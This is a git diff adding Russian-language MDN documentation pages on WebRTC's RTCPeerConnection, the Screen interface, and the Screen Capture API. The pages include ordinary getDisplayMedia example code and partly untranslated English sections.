+   <td>Имеет предварительный удаленный ответ. Предварительный удаленный ответ был получен и успешно применен в ответ на предложение, отправленное ранее и установленное методом <code>setLocalDescription()</code>.</td>
+  </tr>
+  <tr>
+   <td><code>"closed"</code> {{obsolete_inline}}</td>
+   <td>
+    <p>Закрыто. Соединение закрыто.</p>
+
+    <div class="note">
+    <p><strong>Примечание :</strong> Это значение перенесено в перечисление <a href="#RTCPeerConnectionState_enum"><code>RTCPeerConnectionState</code></a>  в драфте от 13 мая 2016, поскольку оно отражает статус соединения   <code>RTCPeerConnection</code>,  а не статус сигнализации. Теперь, для проверки закрытия соединения нужно проверять статус {{domxref("RTCPeerConnection.connectionState", "connectionState")}} на значение <code>"closed"</code> .</p>
+    </div>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Спецификации">Спецификации </h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#interface-definition', 'RTCPeerConnection')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="https://github.com/jesup/nightly-gupshup/blob/master/static/js/chat.js">https://github.com/jesup/nightly-gupshup/blob/master/static/js/chat.js</a></li>
+ <li><a href="http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-simple">http://www.html5rocks.com/en/tutorials/webrtc/basics/#toc-simple</a></li>
+ <li><a href="https://github.com/chrisjohndigital/TutorRoom">TutorRoom</a>: Node.js HTML5 video capture, peer-to-peer video and filesharing application (<a href="https://github.com/chrisjohndigital/TutorRoom">source on GitHub</a>)</li>
+</ul>
diff --git a/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html
new file mode 100644
index 0000000000..9bf73d45a5
--- /dev/null
+++ b/files/ru/web/api/rtcpeerconnection/rtcpeerconnection/index.html
@@ -0,0 +1,59 @@
+---
+title: RTCPeerConnection()
+slug: Web/API/RTCPeerConnection/RTCPeerConnection
+translation_of: Web/API/RTCPeerConnection/RTCPeerConnection
+---
+<div>{{APIRef("WebRTC")}}</div>
+
+<p><span class="seoSummary">Конструктор <strong><code>RTCPeerConnection()</code></strong> возвращает  новый экземпляр объекта {{domxref("RTCPeerConnection")}}, который представляет соединение между локальным устройством и удаленным пиром (участником соединения)</span></p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="syntaxbox notranslate">pc = new RTCPeerConnection([<em>configuration</em>]);</pre>
+
+<h3 class="syntaxbox" id="Параметры">Параметры</h3>
+
+<dl>
+ <dt><code>configuration</code> {{optional_inline}}</dt>
+ <dd>Объект класса <a href="#RTCConfiguration_dictionary"><code>RTCConfiguration</code> </a>, предоставляющий свойства для конфигурации нового экземпляра соединения.</dd>
+</dl>
+
+<h3 id="Объект_конфигурации_RTCConfiguration">Объект конфигурации RTCConfiguration</h3>
+
+<p>{{page("/en-US/docs/Web/API/RTCConfiguration", "Properties")}}</p>
+
+<h3 id="Возвращаемое_значение">Возвращаемое значение</h3>
+
+<p>Экземпляр класса {{domxref("RTCPeerConnection")}} , сконфигурированный по свойствам параметра <code>configuration</code>, если используется, иначе сконфигурированный по умолчанию.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Спецификации</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('WebRTC 1.0', '#dom-peerconnection', 'RTCPeerConnection()')}}</td>
+   <td>{{Spec2('WebRTC 1.0')}}</td>
+   <td>Initial definition.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<p>{{Compat("api.RTCPeerConnection.RTCPeerConnection")}}</p>
+
+<h2 id="Смотри_так_же">Смотри так же</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Signaling_and_video_calling">Сигнализирование и видеовызов</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Architecture">Обзор архитектуры WebRTC</a></li>
+ <li><a href="/en-US/docs/Web/API/WebRTC_API/Session_lifetime">Жизненный цикл сессии WebRTC</a></li>
+ <li>{{domxref("RTCPeerConnection")}}</li>
+</ul>
diff --git a/files/ru/web/api/screen/index.html b/files/ru/web/api/screen/index.html
new file mode 100644
index 0000000000..37e962fcf7
--- /dev/null
+++ b/files/ru/web/api/screen/index.html
@@ -0,0 +1,91 @@
+---
+title: Screen
+slug: Web/API/Screen
+translation_of: Web/API/Screen
+---
+<div>{{APIRef("CSSOM View")}}</div>
+
+<p>Интерфейс screen представляет экран, как правило, тот, на котором текущее окно визуализируется.</p>
+
+<p>Обычно, это тот, на котором текущее окно визуализируется, может быть получен с использованием window.screen.</p>
+
+<h2 id="Example" name="Example">Свойства</h2>
+
+<dl>
+ <dt>{{domxref("Screen.availTop")}}</dt>
+ <dd>Возвращает координату по оси y первого пикселя по оси y, но не относящегося к пользовательским элементам интерфейса.</dd>
+ <dt>{{domxref("Screen.availLeft")}}</dt>
+ <dd>Возвращает первый доступный пиксель от левой стороны экрана.</dd>
+ <dt>{{domxref("Screen.availHeight")}}</dt>
+ <dd>
+ <p>Возвращает высоту экрана в пикселях минус высота пользовательских элементов интерфейса, таких как панель задач в Windows.</p>
+ </dd>
+ <dt>{{domxref("Screen.availWidth")}}</dt>
+ <dd>Возвращает ширину экрана в пикселях.</dd>
+ <dt>{{domxref("Screen.colorDepth")}}</dt>
+ <dd>Возвращает глубину цвета экрана.</dd>
+ <dt>{{domxref("Screen.height")}}</dt>
+ <dd>Возвращает высоту экрана в пикселях.</dd>
+ <dt>{{domxref("Screen.left")}}</dt>
+ <dd>Возвращает расстояние в пикселях от левой стороны основного экрана до левой стороны текущего экрана.</dd>
+ <dt>{{domxref("Screen.orientation")}}</dt>
+ <dd>Возвращает текущую ориентацию экрана.</dd>
+ <dt>{{domxref("Screen.pixelDepth")}}</dt>
+ <dd>Возвращает количество битов на пиксель экрана.</dd>
+ <dt>{{domxref("Screen.top")}}</dt>
+ <dd>Возвращает расстояние в пикселях от верхней стороны экрана до текущего экрана.</dd>
+ <dt>{{domxref("Screen.width")}}</dt>
+ <dd>Возвращает ширину экрана в пикселях.</dd>
+ <dt>{{domxref("Screen.mozEnabled")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Булево. Установка на false выключит экран устройства.</dd>
+ <dt>{{domxref("Screen.mozBrightness")}} {{gecko_minversion_inline("12.0")}}</dt>
+ <dd>Управляет яркостью экрана устройства. Ожидается значение между 0 и 1.0.</dd>
+</dl>
+
+<h3 id="Обработчик_событий">Обработчик событий</h3>
+
+<dl>
+ <dt>{{domxref("Screen.onorientationchange")}}</dt>
+ <dd>Обработчик для событий {{event("смены ориентации")}}.</dd>
+</dl>
+
+<h2 id="Методы">Методы</h2>
+
+<dl>
+ <dt>{{domxref("Screen.lockOrientation")}}</dt>
+ <dd>Блокировка ориентации экрана (работает только в полноэкранном режиме или для установленных приложений)</dd>
+ <dt>{{domxref("Screen.unlockOrientation")}}</dt>
+ <dd>Разблокировка ориентации экрана (работает только в полноэкранном режиме или для установленных приложений)</dd>
+</dl>
+
+<p>Методы наследованные из {{domxref("EventTarget")}}</p>
+
+<p>{{page("/en-US/docs/Web/API/EventTarget","Методы")}}</p>
+
+<h2 id="Example" name="Example">Пример</h2>
+
+<pre class="brush:js">if (screen.pixelDepth &lt; 8) {
+  // использовать низкоцветовую версию страницы
+} else {
+  // использовать обычную, полноцветную страницу
+}
+</pre>
+
+<h2 id="Specification" name="Specification">Спецификация</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSSOM View', '#the-screen-interface', 'Screen') }}</td>
+   <td>{{ Spec2('CSSOM View') }}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
diff --git a/files/ru/web/api/screen_capture_api/index.html b/files/ru/web/api/screen_capture_api/index.html
new file mode 100644
index 0000000000..13c45cf8fa
--- /dev/null
+++ b/files/ru/web/api/screen_capture_api/index.html
@@ -0,0 +1,140 @@
+---
+title: Screen Capture API
+slug: Web/API/Screen_Capture_API
+tags:
+  - API
+  - Capture
+  - Conference
+  - Media
+  - MediaDevices
+  - MediaStream
+  - NeedsTranslation
+  - Overview
+  - Screen Capture
+  - Screen Capture API
+  - Screen Sharing
+  - Sharing
+  - TopicStub
+  - Video
+  - Window
+  - display
+  - getDisplayMedia
+  - screen
+translation_of: Web/API/Screen_Capture_API
+---
+<div>{{DefaultAPISidebar("Screen Capture API")}}</div>
+
+<p><span class="seoSummary">The Screen Capture API introduces additions to the existing Media Capture and Streams API to let the user select a screen or portion of a screen (such as a window) to capture as a media stream.</span> This stream can then be recorded or shared with others over the network.</p>
+
+<h2 id="Screen_Capture_API_concepts_and_usage">Screen Capture API concepts and usage</h2>
+
+<p>The Screen Capture API is relatively simple to use. Its sole method is {{domxref("MediaDevices.getDisplayMedia()")}}, whose job is to ask the user to select a screen or portion of a screen to capture in the form of a {{domxref("MediaStream")}}.</p>
+
+<p>To start capturing video from the screen, you call <code>getDisplayMedia()</code> on the instance of <code>Media</code> <code>navigator.mediaDevices</code>:</p>
+
+<pre class="brush: js">captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);</pre>
+
+<p>The {{jsxref("Promise")}} returned by <code>getDisplayMedia()</code> resolves to a {{domxref("MediaStream")}} which streams the captured media.</p>
+
+<p>See the article <a href="/en-US/docs/Web/API/Screen_Capture_API/Using_Screen_Capture">Using the Screen Capture API</a> for a more in-depth look at how to use the API to capture screen contents as a stream.</p>
+
+<h2 id="Additions_to_existing_interfaces">Additions to existing interfaces</h2>
+
+<p>The Screen Capture API doesn't have any interfaces of its own; instead, it adds one method to the existing {{domxref("MediaDevices")}} interface.</p>
+
+<h3 id="MediaDevices_interface">MediaDevices interface</h3>
+
+<dl>
+ <dt>{{domxref("MediaDevices.getDisplayMedia()")}}</dt>
+ <dd>The <code>getDisplayMedia()</code> method is added to the <code>MediaDevices</code> interface. Similar to {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}}, this method creates a promise that resolves with a {{domxref("MediaStream")}} containing the display area selected by the user, in a format that matches the specified options.</dd>
+</dl>
+
+<h2 id="Additions_to_existing_dictionaries">Additions to existing dictionaries</h2>
+
+<p>The Screen Capture API adds properties to the following dictionaries defined by other specifications.</p>
+
+<h3 id="MediaTrackConstraints">MediaTrackConstraints</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.cursor")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} indicating whether or not the cursor should be included in the captured display surface's stream, and if it should always be visible or if it should only be visible while the mouse is in motion.</dd>
+ <dt>{{domxref("MediaTrackConstraints.displaySurface")}}</dt>
+ <dd>A {{domxref("ConstrainDOMString")}} indicating what type of display surface is to be captured. The value is one of <code>application</code>, <code>browser</code>, <code>monitor</code>, or <code>window</code>.</dd>
+ <dt>{{domxref("MediaTrackConstraints.logicalSurface")}}</dt>
+ <dd>Indicates whether or not the video in the stream represents a logical display surface (that is, one which may not be entirely visible onscreen, or may be completely offscreen). A value of <code>true</code> indicates a logical display surface is to be captured.</dd>
+</dl>
+
+<h3 id="MediaTrackSettings">MediaTrackSettings</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackSettings.cursor")}}</dt>
+ <dd>A string which indicates whether or not the display surface currently being captured includes the mouse cursor, and if so, whether it's only visible while the mouse is in motion or if it's always visible. The value is one of <code>always</code>, <code>motion</code>, or <code>never</code>.</dd>
+ <dt>{{domxref("MediaTrackSettings.displaySurface")}}</dt>
+ <dd>A string indicating what type of display surface is currently being captured. The value is one of <code>application</code>, <code>browser</code>, <code>monitor</code>, or <code>window</code>.</dd>
+ <dt>{{domxref("MediaTrackSettings.logicalSurface")}}</dt>
+ <dd>A Boolean value which is <code>true</code> if the video being captured doesn't directly correspond to a single onscreen display area.</dd>
+</dl>
+
+<h3 id="MediaTrackSupportedConstraints">MediaTrackSupportedConstraints</h3>
+
+<dl>
+ <dt>{{domxref("MediaTrackSupportedConstraints.cursor")}}</dt>
+ <dd>A Boolean which is <code>true</code> if the user agent and device support the {{domxref("MediaTrackConstraints.cursor")}} constraint.</dd>
+ <dt>{{domxref("MediaTrackSupportedConstraints.displaySurface")}}</dt>
+ <dd>A Boolean which is <code>true</code> if the current environment supports the {{domxref("MediaTrackConstraints.displaySurface")}} constraint.</dd>
+ <dt>{{domxref("MediaTrackSupportedConstraints.logicalSurface")}}</dt>
+ <dd>A Boolean which is <code>true</code> if the current environment supports the constraint {{domxref("MediaTrackConstraints.logicalSurface")}}.</dd>
+</dl>
+
+<h2 id="Dictionaries">Dictionaries</h2>
+
+<p>The following dictionaries are defined by the Screen Capture API.</p>
+
+<dl>
+ <dt><code>CursorCaptureConstraint</code></dt>
+ <dd>An enumerated string type used to provide the value for the <code>cursor</code> property for the settings and constraints. The possible values are <code>always</code>, <code>motion</code>, and <code>never</code>.</dd>
+ <dt><code>DisplayCaptureSurfaceType</code></dt>
+ <dd>An enumerated string type which is used to identify the kind of display surface to capture. This type is used for the <code>displaySurface</code> property in the constraints and settings objects, and has the possible values <code>application</code>, <code>browser</code>, <code>monitor</code>, and <code>window</code>.</dd>
+</dl>
+
+<h2 id="Feature_Policy_validation">Feature Policy validation</h2>
+
+<p>{{Glossary("User agent", "User agents")}} that support Feature Policy (either using HTTP's {{HTTPHeader("Feature-Policy")}} header or the {{HTMLElement("iframe")}} attribute {{htmlattrxref("allow", "iframe")}}) can specify a desire to use the Screen Capture API using the policy control directive <code>display-capture</code>:</p>
+
+<pre class="brush: html">&lt;iframe allow="display-capture" src="/some-other-document.html"&gt;</pre>
+
+<p>The default allow list is <code>self</code>, which lets the any content within the document use Screen Capture.</p>
+
+<p>See <a href="/en-US/docs/Web/HTTP/Feature_Policy/Using_Feature_Policy">Using Feature Policy</a> for a more in-depth explanation of how Feature Policy is used.</p>
+
+<h2 id="Specifications">Specifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('Screen Capture')}}</td>
+   <td>{{Spec2('Screen Capture')}}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility">Browser compatibility</h2>
+
+<div>
+
+
+<p>{{Compat("api.MediaDevices.getDisplayMedia")}}</p>
+</div>
+
+<h2 id="See_also">See also</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/API/Screen_Capture_API/Using_Screen_Capture">Using the Screen Capture API</a></li>
+ <li>{{domxref("MediaDevices.getDisplayMedia()")}}</li>
+</ul>
diff --git a/files/ru/web/api/screen_capture_api/using_screen_capture/index.html b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html
new file mode 100644
index 0000000000..43d7ace93d
--- /dev/null
+++ b/files/ru/web/api/screen_capture_api/using_screen_capture/index.html
@@ -0,0 +1,351 @@
+---
+title: Использование интерфейса Screen Capture API
+slug: Web/API/Screen_Capture_API/Using_Screen_Capture
+translation_of: Web/API/Screen_Capture_API/Using_Screen_Capture
+---
+<p>{{DefaultAPISidebar("Screen Capture API")}}</p>
+
+<p><span class="seoSummary">В этой статье изучается использование програмного интерфейса  Screen Capture и его метода {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} для захвата потока экрана (всего или его части), его записи или передачи через сессию <a href="/en-US/docs/Web/API/WebRTC_API">WebRTC</a> .</span></p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> Полезно отметить, что последние версии библиотеки <a href="https://github.com/webrtcHacks/adapter">WebRTC adapter.js</a>  включают реализацию метода <code>getDisplayMedia()</code> для обмена изображениями с экрана на браузерах, которые его поддерживают, но еще не реализуют текущий стандартный интерфейс, который реализован в последних версиях  Chrome, Edge, и Firefox.</p>
+</div>
+
+<h2 id="Захват_содержимого_экрана">Захват содержимого экрана</h2>
+
+<p>Захват содержимого экрана, как живого потока {{domxref("MediaStream")}} запускается вызовом метода {{domxref("MediaDevices.getUserMedia", "navigator.mediaDevices.getDisplayMedia()")}}, и возвращает экземпляр объекта промиса , который разрешается объектом потока, текущих медиаданных с экрана.</p>
+
+<figure>
+<figcaption><strong><em>Запуск захвата с экрана : в стиле <code>async</code>/<code>await</code> </em></strong></figcaption>
+
+<pre class="brush: js">async function startCapture(displayMediaOptions) {
+  let captureStream = null;
+
+  try {
+    captureStream = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+  return captureStream;
+}</pre>
+
+<p>Можно написать этот код, используя асинхронную функцию и оператор <code><a href="/en-US/docs/Web/JavaScript/Reference/Operators/await">await</a></code> , как показано выше, или использовать тип {{jsxref("Promise")}} непосредственно, пример ниже.</p>
+
+<figure>
+<figcaption><strong><em>Запуска захвата с экрана: в стиле <code>Promise</code> </em></strong>
+
+<pre class="brush: js">function startCapture(displayMediaOptions) {
+ let captureStream = null;
+
+ return navigator.mediaDevices.getDisplayMedia(displayMediaOptions)
+    .catch(err =&gt; { console.error("Error:" + err); return null; });
+}</pre>
+
+<p>В любом случае {{Glossary("user agent")}} ответить отображением интерфейса диалога, запрашивающий у пользователя размер области захвата экрана. Обе реализации функции <code>startCapture()</code> возвращают объект типа  {{domxref("MediaStream")}} , содержащий захваченное с экрана изображение (съемку ?).</p>
+
+<p>Смотрим {{anch("Options and constraints")}}, ниже, подробнее о том, как указать желаемый тип поверхности, а также о других способах настройки результирующего потока.</p>
+
+<figure>
+<figcaption><strong><em>Пример окна, позволяющего пользователю выбрать поверхность дисплея для захвата</em></strong></figcaption>
+
+<p><a href="https://mdn.mozillademos.org/files/16365/Chrome-Screen-Capture-Window.png"><img alt="Screenshot of Chrome's window for picking a source surface" src="https://mdn.mozillademos.org/files/16365/Chrome-Screen-Capture-Window.png" style="height: 520px; width: 619px;"></a></p>
+</figure>
+
+<p>Затем можно использовать захваченный поток <code>captureStream</code>, везде, где принимается тип потока в качестве входных параметров.  Пример {{anch("Examples", "examples")}} ниже показывает несколько способов использования полученного типа потока </p>
+
+<h3 id="Видимые_или_логические_поверхности_отображения">Видимые или логические  поверхности отображения</h3>
+
+<p>Для целей интерфейса Screen Capture API, <strong>поверхность отображения </strong>- это любой объект контента, который может быть выбран API для целей совместного (общего) использования.Поверхности общего доступа включают в себя содержимое вкладки браузера, полное окно, все приложения окна, объединенные в одну поверхность, и монитор (или группу мониторов, объединенных в одну поверхность).</p>
+
+<p>Есть два типа поверхности дисплея. <strong>Видимая поверхность отображения </strong>- это поверхность, которая полностью видна на экране, например, переднее окно или вкладка или весь экран.</p>
+
+<p><strong>Логическая поверхность отображения</strong> - это поверхность, которая частично или полностью скрыта, либо в некоторой степени перекрывается  другим объектом, либо полностью скрытая или находиться вне экрана. Эти поверхности обрабатываются по другому. Как правило, браузер предоставляет изображение, которое каким-то образом скрывает скрытую часть поверхности логического дисплея, например размытие или замена цветом или рисунком. Это сделано из соображений безопасности, поскольку контент, который не может быть просмотрен пользователем, может содержать данные, которыми они не хотят делиться.</p>
+
+<p>Браузер может разрешить захват всего содержимого скрытого окна после получения разрешения от пользователя на это. В этом случае браузер может содержать затушеванный контент, либо путем получения текущего содержимого скрытой части окна, либо путем предоставления самого последнего видимого содержимого, если текущее содержимое недоступно.</p>
+
+<h3 id="Свойства_и_ограничения">Свойства и ограничения</h3>
+
+<p>Объект ограничений, передающийся в метод {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} является объектом типа {{domxref("DisplayMediaStreamConstraints")}} , который используется для конфигурации получаемого объекта потока.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> В отличие от большинства применений ограничений в медиа-API, здесь он используется исключительно для определения конфигурации потока, а не для фильтрации доступных вариантов.</p>
+</div>
+
+<p>Существуют три новых ограничения, добавленныех в объект типа <code>MediaTrackConstraints</code> (а так же в  {{domxref("MediaTrackSupportedConstraints")}} и {{domxref("MediaTrackSettings")}}) для конфигурирования потока захвата экрана:</p>
+
+<dl>
+ <dt>{{domxref("MediaTrackConstraints.cursor", "cursor")}}</dt>
+ <dd>
+ <p>Указывает, следует ли захватывать курсор мыши и, если да, делать это постоянно или только во время движения мыши. Возможные значения:</p>
+
+ <dl>
+  <dt><code>always</code> </dt>
+  <dd>(всегда) Курсор мыши всегда захватывается в результирующий поток.</dd>
+  <dt><code>motion</code> </dt>
+  <dd>(в движении) Курсор должен быть видимым при его движении, и (на усмотрение  {{Glossary("user agent")}} ) на короткое время до и после движения. В покое курсор удаляется из потока.</dd>
+  <dt><code>never</code>   </dt>
+  <dd> (никогда) Курсор не появляетсяв результирующем потоке..</dd>
+ </dl>
+ </dd>
+ <dt>{{domxref("MediaTrackConstraints.logicalSurface", "logicalSurface")}}</dt>
+ <dd>Тип <code>Boolean</code> , при истинном значении определяет, что захват должен включать область за пределами экрана, если имеется.</dd>
+</dl>
+
+<p>Ни одно из ограничений никак не применяется до тех пор, пока не будет выбран контент для захвата. Ограничения изменяют то, что вы видите в полученном потоке</p>
+
+<p>К примеру, если определить ограничение  {{domxref("MediaTrackConstraints.width", "width")}} для видео, оно применится как масштабирование видео, после того, как пользователь выберет область, и не устанавливает ограничение на размер самого источника.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> Ограничения никогда не вызывают изменений в списке источников, доступных для захвата API Sharing Screen. Это гарантирует, что веб-приложения не могут заставить пользователя делиться определенным контентом, ограничивая исходный список, пока не останется только один элемент.</p>
+</div>
+
+<p>В процессе захвата экрана машина, которая обменивается содержимым экрана, будет отображать какую-то форму индикатора, чтобы пользователь знал, что обмен находиться в процессе.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> Из соображений конфиденциальности и безопасности источники совместного использования экрана не перечисляются с использованием метода {{domxref("MediaDevices.enumerateDevices", "enumerateDevices()")}}. По той-же причине, событие {{event("devicechange")}} никогда не вызывается, когда есть изменения в доступных источниках  при выполнении <code>getDisplayMedia()</code>.</p>
+</div>
+
+<h3 id="Захват_передаваемого_аудио">Захват передаваемого аудио</h3>
+
+<p>Метод {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} в основном используется для захвата видео пользовательского экрана или его части. Однако {{Glossary("user agent", "user agents")}} может позволить захватить аудио вместе с видео контентом. Источником аудио может быть выбранное окно, вся аудио система компьютера, или пользовательский микрофон (или их комбинация) .</p>
+
+<p>До запуска скрипта, который будет запрашивать возможность обмена аудио, проверте реализацию  {{SectionOnPage("/en-US/docs/Web/API/MediaDevices/getDisplayMedia", "Browser compatibility", "code")}} , для понимания браузерной совместимости с функциональностью захвата аудио в поток захвата экрана.</p>
+
+<p>Чтобы запросить доступ к экрану с включенным звуком, параметры ниже передаются в метод <code>getDisplayMedia()</code>:</p>
+
+<pre class="brush: js">const gdmOptions = {
+  video: true,
+  audio: true
+}
+</pre>
+
+<p>Это дает пользователю полную свободу выбора того, что он хочет, в пределах того, что поддерживает пользовательский агент. Это можно уточнить, указав дополнительную информацию для каждого свойства <code>audio</code> и <code>video</code>:</p>
+
+<pre class="brush: js">const gdmOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: {
+    echoCancellation: true,
+    noiseSuppression: true,
+    sampleRate: 44100
+  }
+}
+</pre>
+
+<p>В этом примере курсор всегда будет виден при захвате, и на звуковой дорожке в идеале должны быть включены функции подавления шума и эхоподавления, а также идеальная частота дискретизации звука 44,1 кГц</p>
+
+<p>Захват аудио всегда необязателен, и даже когда веб-контент запрашивает поток с аудио  и видео, возвращаемый {{domxref ("MediaStream")}} может по-прежнему иметь только одну видеодорожку без звука.</p>
+
+<div class="blockIndicator note">
+<p><strong>Примечание :</strong> Некоторые свойства не реализованы широко и могут не использоваться движком. К примеру, <code>cursor </code><a href="/en-US/docs/Web/API/MediaTrackConstraints/cursor#Browser_compatibility">имеет ограниченную поддержку</a>.</p>
+</div>
+
+<h2 id="Using_the_captured_stream">Using the captured stream</h2>
+
+<p>The {{jsxref("promise")}} returned by {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} resolves to a {{domxref("MediaStream")}} that contains at least one video stream that contains the screen or screen area, and which is adjusted or filtered based upon the constraints specifed when <code>getDisplayMedia()</code> was called.</p>
+
+<h2 id="Security">Security</h2>
+
+<p>As is always the case when sharing content over a network, it's important to consider the privacy and safety implications of screen sharing.</p>
+
+<h3 id="Potential_risks">Potential risks</h3>
+
+<p>Privacy and security issues surrounding screen sharing are usually not overly serious, but they do exist. The largest potential issue is users inadvertently sharing content they did not wish to share.</p>
+
+<p>For example, privacy and/or security violations can easily occur if the user is sharing their screen and a visible background window happens to contain personal information, or if their password manager is visible in the shared stream. This effect can be amplified when capturing logical display surfaces, which may contain content that the user doesn't know about at all, let alone see.</p>
+
+<p>User agents which take privacy seriously should obfuscate content that is not actually visible onscreen, unless authorization has been given to share that content specifically.</p>
+
+<h3 id="Authorizing_capture_of_display_contents">Authorizing capture of display contents</h3>
+
+<p>Before streaming of captured screen contents can begin, the {{Glossary("user agent")}} will ask the user to confirm the sharing request, and to select the content to share.</p>
+</figcaption>
+</figure>
+
+<h2 id="Examples">Examples</h2>
+
+<h3 id="Simple_screen_capture">Simple screen capture</h3>
+
+<p>In this example, the contents of the captured screen area are simply streamed into a {{HTMLElement("video")}} element on the same page.</p>
+
+<h4 id="JavaScript">JavaScript</h4>
+
+<p>There isn't all that much code needed in order to make this work, and if you're familiar with using {{domxref("MediaDevices.getUserMedia", "getUserMedia()")}} to capture video from a camera, you'll find {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}} to be very familiar.</p>
+
+<h5 id="Setup">Setup</h5>
+
+<p>First, some constants are set up to reference the elements on the page to which we'll need access: the {{HTMLElement("video")}} into which the captured screen contents will be streamed, a box into which logged output will be drawn, and the start and stop buttons that will turn on and off capture of screen imagery.</p>
+
+<p>The object <code>displayMediaOptions</code> contains the {{domxref("MediaStreamConstraints")}} to pass into <code>getDisplayMedia()</code>; here, the {{domxref("MediaTrackConstraints.cursor", "cursor")}} property is set to <code>always</code>, indicating that the mouse cursor should always be included in the captured media.</p>
+
+<div class="blockIndicator note">
+<p><strong>Note:</strong> Some properties are not widely implemented and might not be used by the engine. <code>cursor</code>, for example, <a href="/en-US/docs/Web/API/MediaTrackConstraints/cursor#Browser_compatibility">has limited support</a>.</p>
+</div>
+
+<p>Finally, event listeners are established to detect user clicks on the start and stop buttons.</p>
+
+<pre class="brush: js">const videoElem = document.getElementById("video");
+const logElem = document.getElementById("log");
+const startElem = document.getElementById("start");
+const stopElem = document.getElementById("stop");
+
+// Options for getDisplayMedia()
+
+var displayMediaOptions = {
+  video: {
+    cursor: "always"
+  },
+  audio: false
+};
+
+// Set event listeners for the start and stop buttons
+startElem.addEventListener("click", function(evt) {
+  startCapture();
+}, false);
+
+stopElem.addEventListener("click", function(evt) {
+  stopCapture();
+}, false);</pre>
+
+<h5 id="Logging_content">Logging content</h5>
+
+<p>To make logging of errors and other issues easy, this example overrides certain {{domxref("Console")}} methods to output their messages to the {{HTMLElement("pre")}} block whose ID is <code>log</code>.</p>
+
+<pre class="brush: js">console.log = msg =&gt; logElem.innerHTML += `${msg}&lt;br&gt;`;
+console.error = msg =&gt; logElem.innerHTML += `&lt;span class="error"&gt;${msg}&lt;/span&gt;&lt;br&gt;`;
+console.warn = msg =&gt; logElem.innerHTML += `&lt;span class="warn"&gt;${msg}&lt;span&gt;&lt;br&gt;`;
+console.info = msg =&gt; logElem.innerHTML += `&lt;span class="info"&gt;${msg}&lt;/span&gt;&lt;br&gt;`;</pre>
+
+<p>This allows us to use the familiar {{domxref("console.log()")}}, {{domxref("console.error()")}}, and so on to log information to the log box in the document.</p>
+
+<h5 id="Starting_display_capture">Starting display capture</h5>
+
+<p>The <code>startCapture()</code> method, below, starts the capture of a {{domxref("MediaStream")}} whose contents are taken from a user-selected area of the screen. <code>startCapture()</code> is called when the "Start Capture" button is clicked.</p>
+
+<pre class="brush: js">async function startCapture() {
+  logElem.innerHTML = "";
+
+  try {
+    videoElem.srcObject = await navigator.mediaDevices.getDisplayMedia(displayMediaOptions);
+    dumpOptionsInfo();
+  } catch(err) {
+    console.error("Error: " + err);
+  }
+}</pre>
+
+<p>After clearing the contents of the log in order to get rid of any leftover text from the previous attempt to connect, <code>startCapture()</code> calls {{domxref("MediaDevices.getDisplayMedia", "getDisplayMedia()")}}, passing into it the constraints object defined by <code>displayMediaOptions</code>. Using {{jsxref("await")}}, the following line of code does not get executed until after the {{jsxref("promise")}} returned by <code>getDisplayMedia()</code> resolves. Upon resolution, the promise returns a {{domxref("MediaStream")}}, which will stream the contents of the screen, window, or other region selected by the user.</p>
+
+<p>The stream is connected to the {{HTMLElement("video")}} element by storing the returned <code>MediaStream</code> into the element's {{domxref("HTMLMediaElement.srcObject", "srcObject")}}.</p>
+
+<p>The <code>dumpOptionsInfo()</code> function—which we will look at in a moment—dumps information about the stream to the log box for educational purposes.</p>
+
